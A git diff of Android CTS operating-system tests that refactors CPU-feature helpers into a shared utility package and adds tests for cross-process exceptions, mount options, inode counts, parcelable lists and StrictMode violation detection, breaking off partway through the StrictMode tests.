-jboolean android_os_cts_CpuFeatures_isX86Cpu(JNIEnv* env, jobject thiz)
-{
-    AndroidCpuFamily cpuFamily = android_getCpuFamily();
-    return cpuFamily == ANDROID_CPU_FAMILY_X86;
-}
-
-jboolean android_os_cts_CpuFeatures_isArm64Cpu(JNIEnv* env, jobject thiz)
-{
-    AndroidCpuFamily cpuFamily = android_getCpuFamily();
-    return cpuFamily == ANDROID_CPU_FAMILY_ARM64;
-}
-
-jboolean android_os_cts_CpuFeatures_isMips64Cpu(JNIEnv* env, jobject thiz)
-{
-    AndroidCpuFamily cpuFamily = android_getCpuFamily();
-    return cpuFamily == ANDROID_CPU_FAMILY_MIPS64;
-}
-
-jboolean android_os_cts_CpuFeatures_isX86_64Cpu(JNIEnv* env, jobject thiz)
-{
-    AndroidCpuFamily cpuFamily = android_getCpuFamily();
-    return cpuFamily == ANDROID_CPU_FAMILY_X86_64;
-}
-
-jint android_os_cts_CpuFeatures_getHwCaps(JNIEnv*, jobject)
-{
-    return (jint)getauxval(AT_HWCAP);
-}
-
-static JNINativeMethod gMethods[] = {
-    {  "isArmCpu", "()Z",
-            (void *) android_os_cts_CpuFeatures_isArmCpu  },
-    {  "isArm7Compatible", "()Z",
-            (void *) android_os_cts_CpuFeatures_isArm7Compatible  },
-    {  "isMipsCpu", "()Z",
-            (void *) android_os_cts_CpuFeatures_isMipsCpu  },
-    {  "isX86Cpu", "()Z",
-            (void *) android_os_cts_CpuFeatures_isX86Cpu  },
-    {  "isArm64Cpu", "()Z",
-            (void *) android_os_cts_CpuFeatures_isArm64Cpu  },
-    {  "isMips64Cpu", "()Z",
-            (void *) android_os_cts_CpuFeatures_isMips64Cpu  },
-    {  "isX86_64Cpu", "()Z",
-            (void *) android_os_cts_CpuFeatures_isX86_64Cpu  },
-    {  "getHwCaps", "()I",
-            (void *) android_os_cts_CpuFeatures_getHwCaps  },
-};
-
-int register_android_os_cts_CpuFeatures(JNIEnv* env)
-{
-    jclass clazz = env->FindClass("android/os/cts/CpuFeatures");
-
-    return env->RegisterNatives(clazz, gMethods,
-            sizeof(gMethods) / sizeof(JNINativeMethod));
-}
diff --git a/tests/tests/os/src/android/os/cts/AbiTest.java b/tests/tests/os/src/android/os/cts/AbiTest.java
index 1d343e6..1765ae7 100644
--- a/tests/tests/os/src/android/os/cts/AbiTest.java
+++ b/tests/tests/os/src/android/os/cts/AbiTest.java
@@ -16,10 +16,14 @@
 
 package android.os.cts;
 
-import android.cts.util.ReadElf;
+import android.system.OsConstants;
+import android.system.ErrnoException;
 import android.util.ArraySet;
 
+import com.android.compatibility.common.util.ReadElf;
+
 import java.io.File;
+import java.io.IOException;
 import java.util.Arrays;
 
 import junit.framework.TestCase;
@@ -73,6 +77,14 @@
                     elf = ReadElf.read(f);
                 } catch (IllegalArgumentException ignored) {
                     // If it's not actually an ELF file, we don't care.
+                } catch (IOException ex) {
+                    Throwable cause = ex.getCause();
+                    if (cause instanceof ErrnoException) {
+                        // if we are denied access to the file, ignore.
+                        if (((ErrnoException) cause).errno != OsConstants.EACCES) {
+                            throw ex;
+                        }
+                    }
                 } finally {
                     if (elf != null) {
                         elf.close();
diff --git a/tests/tests/os/src/android/os/cts/AsyncTaskTest.java b/tests/tests/os/src/android/os/cts/AsyncTaskTest.java
index 1c9aaba..335818a 100644
--- a/tests/tests/os/src/android/os/cts/AsyncTaskTest.java
+++ b/tests/tests/os/src/android/os/cts/AsyncTaskTest.java
@@ -17,11 +17,11 @@
 package android.os.cts;
 
 import android.support.annotation.NonNull;
-
-import android.cts.util.PollingCheck;
 import android.os.AsyncTask;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index 6dec48d..f62b470 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -19,6 +19,7 @@
 
 import android.os.Build;
 import android.os.SystemProperties;
+import android.platform.test.annotations.RestrictedBuildTest;
 
 import dalvik.system.VMRuntime;
 
@@ -265,6 +266,7 @@
      * Note: This test will fail on userdebug / eng devices, but should pass
      * on production (user) builds.
      */
+    @RestrictedBuildTest
     public void testIsSecureUserBuild() throws IOException {
         assertEquals("Must be a user build", "user", Build.TYPE);
         assertProperty("Must be a non-debuggable build", RO_DEBUGGABLE, "0");
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index d06171b..44dc487 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -35,7 +35,7 @@
 public class BuildVersionTest extends TestCase {
 
     private static final String LOG_TAG = "BuildVersionTest";
-    private static final int EXPECTED_SDK = 25;
+    private static final int EXPECTED_SDK = 26;
     private static final String EXPECTED_BUILD_VARIANT = "user";
     private static final String EXPECTED_TAG = "release-keys";
     private static final String PLATFORM_VERSIONS_FILE = "platform_versions.txt";
diff --git a/tests/tests/os/src/android/os/cts/ConditionVariableTest.java b/tests/tests/os/src/android/os/cts/ConditionVariableTest.java
index cad9dec..d5593dc 100644
--- a/tests/tests/os/src/android/os/cts/ConditionVariableTest.java
+++ b/tests/tests/os/src/android/os/cts/ConditionVariableTest.java
@@ -16,9 +16,11 @@
 package android.os.cts;
 
 import junit.framework.TestCase;
-import android.cts.util.TestThread;
+
 import android.os.ConditionVariable;
 
+import com.android.compatibility.common.util.TestThread;
+
 public class ConditionVariableTest extends TestCase {
     private static final int WAIT_TIME = 3000;
     private static final int BLOCK_TIME = 1000;
diff --git a/tests/tests/os/src/android/os/cts/CpuFeatures.java b/tests/tests/os/src/android/os/cts/CpuFeatures.java
deleted file mode 100644
index 553f264..0000000
--- a/tests/tests/os/src/android/os/cts/CpuFeatures.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.os.cts;
-
-import android.os.Build;
-
-public class CpuFeatures {
-
-    public static final String ARMEABI_V7 = "armeabi-v7a";
-
-    public static final String ARMEABI = "armeabi";
-
-    public static final String MIPSABI = "mips";
-
-    public static final  String X86ABI = "x86";
-
-    public static final int HWCAP_VFP = (1 << 6);
-
-    public static final int HWCAP_NEON = (1 << 12);
-
-    public static final int HWCAP_VFPv3 = (1 << 13);
-
-    public static final int HWCAP_VFPv4 = (1 << 16);
-
-    public static final int HWCAP_IDIVA = (1 << 17);
-
-    public static final int HWCAP_IDIVT = (1 << 18);
-
-    static {
-        System.loadLibrary("ctsos_jni");
-    }
-
-    public static native boolean isArmCpu();
-
-    public static native boolean isArm7Compatible();
-
-    public static native boolean isMipsCpu();
-
-    public static native boolean isX86Cpu();
-
-    public static native boolean isArm64Cpu();
-
-    public static native boolean isMips64Cpu();
-
-    public static native boolean isX86_64Cpu();
-
-    public static native int getHwCaps();
-
-    public static boolean isArm64CpuIn32BitMode() {
-        if (!isArmCpu()) {
-            return false;
-        }
-
-        for (String abi : Build.SUPPORTED_64_BIT_ABIS) {
-            if (abi.equals("arm64-v8a")) {
-                return true;
-            }
-        }
-
-        return false;
-    }
-}
diff --git a/tests/tests/os/src/android/os/cts/CpuFeaturesTest.java b/tests/tests/os/src/android/os/cts/CpuFeaturesTest.java
index d8e128b..1625e32 100644
--- a/tests/tests/os/src/android/os/cts/CpuFeaturesTest.java
+++ b/tests/tests/os/src/android/os/cts/CpuFeaturesTest.java
@@ -25,7 +25,7 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-import android.os.cts.CpuFeatures;
+import com.android.compatibility.common.util.CpuFeatures;
 
 import junit.framework.TestCase;
 
diff --git a/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java b/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java
index c38def7..780be99 100644
--- a/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java
+++ b/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java
@@ -17,9 +17,10 @@
 
 package android.os.cts;
 
-import android.os.cts.CpuFeatures;
 import android.os.cts.CpuInstructions;
 
+import com.android.compatibility.common.util.CpuFeatures;
+
 import junit.framework.TestCase;
 
 public class CpuInstructionsTest extends TestCase {
diff --git a/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
new file mode 100644
index 0000000..c9ad47f
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.app.PendingIntent;
+import android.app.AuthenticationRequiredException;
+import android.app.Service;
+import android.content.Intent;
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import java.io.FileDescriptor;
+import java.io.FileNotFoundException;
+
+public class CrossProcessExceptionService extends Service {
+    public static class CustomException extends IllegalArgumentException implements Parcelable {
+        public CustomException(String message) {
+            super(message);
+        }
+
+        @Override
+        public int describeContents() {
+            return 0;
+        }
+
+        @Override
+        public void writeToParcel(Parcel dest, int flags) {
+        }
+
+        public static final Creator<CustomException> CREATOR = new Creator<CustomException>() {
+            @Override
+            public CustomException createFromParcel(Parcel source) {
+                return new CustomException("REMOTE");
+            }
+
+            @Override
+            public CustomException[] newArray(int size) {
+                return new CustomException[size];
+            }
+        };
+
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return new Binder() {
+            @Override
+            public void dump(FileDescriptor fd, String[] args) {
+                switch (args[0]) {
+                    case "none":
+                        return;
+                    case "SE":
+                        throw new SecurityException("SE");
+                    case "ARE":
+                        final PendingIntent pi = PendingIntent.getActivity(
+                                CrossProcessExceptionService.this, 12, new Intent(),
+                                PendingIntent.FLAG_CANCEL_CURRENT);
+                        throw new AuthenticationRequiredException(new FileNotFoundException("FNFE"), pi);
+                    case "RE":
+                        throw new RuntimeException("RE");
+                    case "custom":
+                        throw new CustomException("LOCAL");
+                }
+            }
+        };
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/CrossProcessExceptionTest.java b/tests/tests/os/src/android/os/cts/CrossProcessExceptionTest.java
new file mode 100644
index 0000000..957cbc6
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/CrossProcessExceptionTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.app.ActivityManager;
+import android.app.AuthenticationRequiredException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.test.AndroidTestCase;
+
+import com.google.common.util.concurrent.AbstractFuture;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class CrossProcessExceptionTest extends AndroidTestCase {
+
+    private Intent greenIntent;
+    private PeerConnection greenConn;
+    private IBinder green;
+
+    public static class PeerConnection extends AbstractFuture<IBinder>
+            implements ServiceConnection {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            set(service);
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+        }
+
+        @Override
+        public IBinder get() throws InterruptedException, ExecutionException {
+            try {
+                return get(5, TimeUnit.SECONDS);
+            } catch (TimeoutException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        final Context context = getContext();
+
+        // Bring up both remote processes and wire them to each other
+        greenIntent = new Intent();
+        greenIntent.setComponent(new ComponentName(
+                "android.os.cts", "android.os.cts.CrossProcessExceptionService"));
+        greenConn = new PeerConnection();
+        context.startService(greenIntent);
+        getContext().bindService(greenIntent, greenConn, 0);
+        green = greenConn.get();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+
+        final Context context = getContext();
+        context.unbindService(greenConn);
+        context.stopService(greenIntent);
+
+        final ActivityManager am = (ActivityManager) mContext.getSystemService(
+                Context.ACTIVITY_SERVICE);
+        am.killBackgroundProcesses(context.getPackageName());
+    }
+
+    public void testNone() throws Exception {
+        doCommand("none");
+    }
+
+    public void testSE() throws Exception {
+        try {
+            doCommand("SE");
+            fail("Missing SecurityException!");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    public void testARE() throws Exception {
+        try {
+            doCommand("ARE");
+            fail("Missing SecurityException!");
+        } catch (SecurityException e) {
+            if (e instanceof AuthenticationRequiredException) {
+                final AuthenticationRequiredException are = (AuthenticationRequiredException) e;
+                assertEquals("FNFE", are.getMessage());
+                assertEquals(android.os.Process.myUid(), are.getUserAction().getCreatorUid());
+            } else {
+                fail("Odd, expected ARE but found " + e);
+            }
+        }
+    }
+
+    public void testRE() throws Exception {
+        doCommand("RE");
+    }
+
+    /**
+     * Verify that we only support custom exceptions that are defined in the
+     * base class-path.
+     */
+    public void testCustom() throws Exception {
+        try {
+            doCommand("custom");
+            fail("Missing IllegalArgumentException!");
+        } catch (IllegalArgumentException e) {
+            if (e.getClass() != IllegalArgumentException.class) {
+                fail("Unexpected subclass " + e.getClass());
+            }
+            assertEquals("LOCAL", e.getMessage());
+        }
+    }
+
+    private void doCommand(String cmd) throws Exception {
+        final ParcelFileDescriptor[] fds = ParcelFileDescriptor.createPipe();
+        try {
+            green.dump(fds[0].getFileDescriptor(), new String[] { cmd });
+        } finally {
+            fds[0].close();
+            fds[1].close();
+        }
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/DebugTest.java b/tests/tests/os/src/android/os/cts/DebugTest.java
index 8301cfc..0f19078 100644
--- a/tests/tests/os/src/android/os/cts/DebugTest.java
+++ b/tests/tests/os/src/android/os/cts/DebugTest.java
@@ -15,6 +15,14 @@
  */
 package android.os.cts;
 
+import android.content.Context;
+import android.os.Debug;
+import android.test.AndroidTestCase;
+
+import com.android.compatibility.common.util.TestThread;
+
+import dalvik.system.VMDebug;
+
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
@@ -22,12 +30,6 @@
 import java.util.logging.Logger;
 import java.util.Map;
 
-import android.content.Context;
-import android.cts.util.TestThread;
-import android.os.Debug;
-import android.test.AndroidTestCase;
-import dalvik.system.VMDebug;
-
 public class DebugTest extends AndroidTestCase {
     private static final Logger Log = Logger.getLogger(DebugTest.class.getName());
 
diff --git a/tests/tests/os/src/android/os/cts/EnvironmentTest.java b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
index 0c3ada2..84ff5f4 100644
--- a/tests/tests/os/src/android/os/cts/EnvironmentTest.java
+++ b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
@@ -15,8 +15,15 @@
  */
 package android.os.cts;
 
-import junit.framework.TestCase;
 import android.os.Environment;
+import android.system.Os;
+import android.system.StructStatVfs;
+
+import junit.framework.TestCase;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileReader;
 
 public class EnvironmentTest extends TestCase {
     public void testEnvironment() {
@@ -38,4 +45,49 @@
         assertNull("environment variable TMPDIR should not be set",
                 System.getenv("TMPDIR"));
     }
+
+    /**
+     * Verify that all writable block filesystems are mounted "noatime" to avoid
+     * unnecessary flash churn.
+     */
+    public void testNoAtime() throws Exception {
+        try (BufferedReader br = new BufferedReader(new FileReader("/proc/mounts"))) {
+            String line;
+            while ((line = br.readLine()) != null) {
+                final String[] fields = line.split(" ");
+                final String source = fields[0];
+                final String options = fields[3];
+
+                if (source.startsWith("/dev/block/") && !options.startsWith("ro,")
+                        && !options.contains("noatime")) {
+                    fail("Found device mounted at " + source + " without 'noatime' option, "
+                            + "which can cause unnecessary flash churn; please update your fstab.");
+                }
+            }
+        }
+    }
+
+    /**
+     * Verify that all writable block filesystems are mounted with "resgid" to
+     * mitigate disk-full trouble.
+     */
+    public void testSaneInodes() throws Exception {
+        final File file = Environment.getDataDirectory();
+        final StructStatVfs stat = Os.statvfs(file.getAbsolutePath());
+
+        // By default ext4 creates one inode per 16KiB; we're okay with a much
+        // wider range, but we want to make sure the device isn't going totally
+        // crazy; too few inodes can result in system instability, and too many
+        // inodes can result in wasted space.
+        final long size = stat.f_blocks * stat.f_frsize;
+        final long minInodes = size / 32768;
+        final long maxInodes = size / 8192;
+
+        if (stat.f_files >= minInodes && stat.f_files <= maxInodes) {
+            // Sweet, sounds great!
+        } else {
+            fail("Number of inodes " + stat.f_files + " not within sane range for partition of "
+                    + size + " bytes; expected [" + minInodes + "," + maxInodes + "]");
+        }
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/HandlerTest.java b/tests/tests/os/src/android/os/cts/HandlerTest.java
index 7183d7e..d161f6a 100644
--- a/tests/tests/os/src/android/os/cts/HandlerTest.java
+++ b/tests/tests/os/src/android/os/cts/HandlerTest.java
@@ -17,7 +17,7 @@
 package android.os.cts;
 
 import junit.framework.TestCase;
-import android.cts.util.TestThread;
+
 import android.os.Handler;
 import android.os.Looper;
 import android.os.Message;
@@ -26,6 +26,8 @@
 import android.test.UiThreadTest;
 import android.util.Printer;
 
+import com.android.compatibility.common.util.TestThread;
+
 public class HandlerTest extends TestCase {
 
     public static final int MESSAGE_WHAT = 3;
diff --git a/tests/tests/os/src/android/os/cts/LocalService.java b/tests/tests/os/src/android/os/cts/LocalService.java
index cc427f8..41f1c18 100644
--- a/tests/tests/os/src/android/os/cts/LocalService.java
+++ b/tests/tests/os/src/android/os/cts/LocalService.java
@@ -18,12 +18,13 @@
 
 import android.app.Service;
 import android.content.Intent;
-import android.cts.util.IBinderParcelable;
 import android.os.Binder;
 import android.os.IBinder;
 import android.os.Parcel;
 import android.os.RemoteException;
 
+import com.android.compatibility.common.util.IBinderParcelable;
+
 public class LocalService extends Service {
     public static final String SERVICE_LOCAL =
             "android.os.cts.activity.SERVICE_LOCAL";
diff --git a/tests/tests/os/src/android/os/cts/LooperTest.java b/tests/tests/os/src/android/os/cts/LooperTest.java
index 6f7cb6d..c0a176c 100644
--- a/tests/tests/os/src/android/os/cts/LooperTest.java
+++ b/tests/tests/os/src/android/os/cts/LooperTest.java
@@ -16,7 +16,6 @@
 
 package android.os.cts;
 
-import android.cts.util.TestThread;
 import android.os.Handler;
 import android.os.Looper;
 import android.os.Message;
@@ -26,6 +25,8 @@
 import android.util.Printer;
 import android.util.StringBuilderPrinter;
 
+import com.android.compatibility.common.util.TestThread;
+
 public class LooperTest extends AndroidTestCase {
 
     public static final long WAIT_TIME = 1000;
diff --git a/tests/tests/os/src/android/os/cts/MessengerTest.java b/tests/tests/os/src/android/os/cts/MessengerTest.java
index 5bf9428..7612c14 100644
--- a/tests/tests/os/src/android/os/cts/MessengerTest.java
+++ b/tests/tests/os/src/android/os/cts/MessengerTest.java
@@ -31,6 +31,7 @@
 import android.os.Parcel;
 import android.os.RemoteException;
 import android.os.ResultReceiver;
+import android.os.ShellCallback;
 import android.test.AndroidTestCase;
 
 import java.io.FileDescriptor;
@@ -91,7 +92,7 @@
 
         @Override
         public void shellCommand(FileDescriptor in, FileDescriptor out, FileDescriptor err,
-                String[] args, ResultReceiver resultReceiver) {
+                String[] args, ShellCallback shellCallback, ResultReceiver resultReceiver) {
         }
 
     };
diff --git a/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java b/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java
index 224ab46..83458e9 100644
--- a/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java
+++ b/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java
@@ -16,6 +16,8 @@
 
 package android.os.cts;
 
+import com.android.compatibility.common.util.CpuFeatures;
+
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.util.Scanner;
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 5b7b187..305f0c8 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -3085,4 +3085,77 @@
 
         assertFalse(doesNotImplementParcelableInitializerHasRun);
     }
+
+    public static class SimpleParcelable implements Parcelable {
+        private final int value;
+
+        public SimpleParcelable(int value) {
+            this.value = value;
+        }
+
+        private SimpleParcelable(Parcel in) {
+            this.value = in.readInt();
+        }
+
+        public int getValue() {
+            return value;
+        }
+
+        @Override
+        public int describeContents() {
+            return 0;
+        }
+
+        @Override
+        public void writeToParcel(Parcel out, int flags) {
+            out.writeInt(value);
+        }
+
+        public static Parcelable.Creator<SimpleParcelable> CREATOR =
+                new Parcelable.Creator<SimpleParcelable>() {
+
+            @Override
+            public SimpleParcelable createFromParcel(Parcel source) {
+                return new SimpleParcelable(source);
+            }
+
+            @Override
+            public SimpleParcelable[] newArray(int size) {
+                return new SimpleParcelable[size];
+            }
+        };
+    }
+
+    public void testReadWriteParcellableList() {
+        Parcel parcel = Parcel.obtain();
+
+        ArrayList<SimpleParcelable> list = new ArrayList<>();
+        list.add(new SimpleParcelable(57));
+
+        // Writing a |null| list to a parcel should work, and reading it back
+        // from a parcel should clear the target list.
+        parcel.writeParcelableList(null, 0);
+        parcel.setDataPosition(0);
+        parcel.readParcelableList(list, SimpleParcelable.class.getClassLoader());
+        assertEquals(0, list.size());
+
+        list.clear();
+        list.add(new SimpleParcelable(42));
+        list.add(new SimpleParcelable(56));
+
+        parcel.setDataPosition(0);
+        parcel.writeParcelableList(list, 0);
+
+        // Populate the list with a value, we will later assert that the
+        // value has been removed.
+        list.clear();
+        list.add(new SimpleParcelable(100));
+
+        parcel.setDataPosition(0);
+        parcel.readParcelableList(list, SimpleParcelable.class.getClassLoader());
+
+        assertEquals(2, list.size());
+        assertEquals(42, list.get(0).getValue());
+        assertEquals(56, list.get(1).getValue());
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/SeccompTest.java b/tests/tests/os/src/android/os/cts/SeccompTest.java
index 1dc2308..ab8958e 100644
--- a/tests/tests/os/src/android/os/cts/SeccompTest.java
+++ b/tests/tests/os/src/android/os/cts/SeccompTest.java
@@ -34,6 +34,7 @@
 import android.util.Log;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CpuFeatures;
 import com.google.common.util.concurrent.AbstractFuture;
 
 import java.io.File;
diff --git a/tests/tests/os/src/android/os/cts/SecurityPatchTest.java b/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
index 68609e1..d6fb646 100644
--- a/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
+++ b/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
@@ -16,6 +16,8 @@
 
 package android.os.cts;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+
 import android.os.Build;
 import android.os.SystemProperties;
 import android.test.InstrumentationTestCase;
@@ -32,13 +34,13 @@
     private static final String SECURITY_PATCH_DATE_ERROR =
             "ro.build.version.security_patch should be \"%d-%02d\" or later. Found \"%s\"";
     private static final int SECURITY_PATCH_YEAR = 2016;
-    private static final int SECURITY_PATCH_MONTH = 06;
+    private static final int SECURITY_PATCH_MONTH = 12;
 
     private boolean mSkipTests = false;
 
     @Override
     protected void setUp() {
-        mSkipTests = (Build.VERSION.SDK_INT < Build.VERSION_CODES.M);
+        mSkipTests = (ApiLevelUtil.isBefore(Build.VERSION_CODES.M));
     }
 
     /** Security patch string must exist in M or higher **/
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index a345256..21730c6 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -16,38 +16,60 @@
 
 package android.os.cts;
 
+import android.content.Context;
+import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.net.TrafficStats;
+import android.net.Uri;
 import android.os.StrictMode;
-import android.os.SystemClock;
-import android.test.AndroidTestCase;
+import android.os.StrictMode.ViolationListener;
+import android.system.Os;
+import android.system.OsConstants;
+import android.test.InstrumentationTestCase;
 import android.util.Log;
 
-import libcore.io.Streams;
-
-import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
 import java.net.HttpURLConnection;
+import java.net.Socket;
 import java.net.URL;
-import java.text.SimpleDateFormat;
-import java.util.Date;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Tests for {@link StrictMode}
  */
-public class StrictModeTest extends AndroidTestCase {
+public class StrictModeTest extends InstrumentationTestCase {
     private static final String TAG = "StrictModeTest";
 
-    private StrictMode.VmPolicy mPolicy;
+    private StrictMode.ThreadPolicy mThreadPolicy;
+    private StrictMode.VmPolicy mVmPolicy;
+
+    private Context getContext() {
+        return getInstrumentation().getContext();
+    }
 
     @Override
     protected void setUp() {
-        mPolicy = StrictMode.getVmPolicy();
+        mThreadPolicy = StrictMode.getThreadPolicy();
+        mVmPolicy = StrictMode.getVmPolicy();
     }
 
     @Override
     protected void tearDown() {
-        StrictMode.setVmPolicy(mPolicy);
+        StrictMode.setThreadPolicy(mThreadPolicy);
+        StrictMode.setVmPolicy(mVmPolicy);
     }
 
+    public interface ThrowingRunnable {
+        public void run() throws Exception;
+    }
+
+    /**
+     * Insecure connection should be detected
+     */
     public void testCleartextNetwork() throws Exception {
         if (!hasInternetConnection()) {
             Log.i(TAG, "testCleartextNetwork() ignored on device without Internet");
@@ -59,18 +81,15 @@
                 .penaltyLog()
                 .build());
 
-        final long millis = System.currentTimeMillis();
-        final String msg = "Detected cleartext network traffic from UID "
-                + android.os.Process.myUid();
-
-        // Insecure connection should be detected
-        ((HttpURLConnection) new URL("http://example.com/").openConnection()).getResponseCode();
-
-        // Give system enough time to finish logging
-        SystemClock.sleep(5000);
-        assertTrue("Expected cleartext to be caught", readLogSince(millis).contains(msg));
+        assertViolation("Detected cleartext network traffic from UID", () -> {
+            ((HttpURLConnection) new URL("http://example.com/").openConnection())
+                    .getResponseCode();
+        });
     }
 
+    /**
+     * Secure connection should be ignored
+     */
     public void testEncryptedNetwork() throws Exception {
         if (!hasInternetConnection()) {
             Log.i(TAG, "testEncryptedNetwork() ignored on device without Internet");
@@ -82,29 +101,256 @@
                 .penaltyLog()
                 .build());
 
-        final long millis = System.currentTimeMillis();
-        final String msg = "Detected cleartext network traffic from UID "
-                + android.os.Process.myUid();
-
-        // Secure connection should be ignored
-        ((HttpURLConnection) new URL("https://example.com/").openConnection()).getResponseCode();
-
-        // Give system enough time to finish logging
-        SystemClock.sleep(5000);
-        assertFalse("Expected encrypted to be ignored", readLogSince(millis).contains(msg));
+        assertNoViolation(() -> {
+            ((HttpURLConnection) new URL("https://example.com/").openConnection())
+                    .getResponseCode();
+        });
     }
 
-    private String readLogSince(long millis) throws Exception {
-        final SimpleDateFormat format = new SimpleDateFormat("MM-dd HH:mm:ss.SSS");
-        final Process proc = new ProcessBuilder("logcat", "-t", format.format(new Date(millis)))
-                .redirectErrorStream(true).start();
+    public void testFileUriExposure() throws Exception {
+        StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
+                .detectFileUriExposure()
+                .penaltyLog()
+                .build());
 
-        final ByteArrayOutputStream buf = new ByteArrayOutputStream();
-        Streams.copy(proc.getInputStream(), buf);
-        final int res = proc.waitFor();
+        final Uri badUri = Uri.fromFile(new File("/sdcard/meow.jpg"));
+        assertViolation(badUri + " exposed beyond app", () -> {
+            Intent intent = new Intent(Intent.ACTION_VIEW);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setDataAndType(badUri, "image/jpeg");
+            getContext().startActivity(intent);
+        });
 
-        Log.d(TAG, "Log output was " + buf.size() + " bytes, exit code " + res);
-        return new String(buf.toByteArray());
+        final Uri goodUri = Uri.parse("content://com.example/foobar");
+        assertNoViolation(() -> {
+            Intent intent = new Intent(Intent.ACTION_VIEW);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setDataAndType(goodUri, "image/jpeg");
+            getContext().startActivity(intent);
+        });
+    }
+
+    public void testContentUriWithoutPermission() throws Exception {
+        StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
+                .detectContentUriWithoutPermission()
+                .penaltyLog()
+                .build());
+
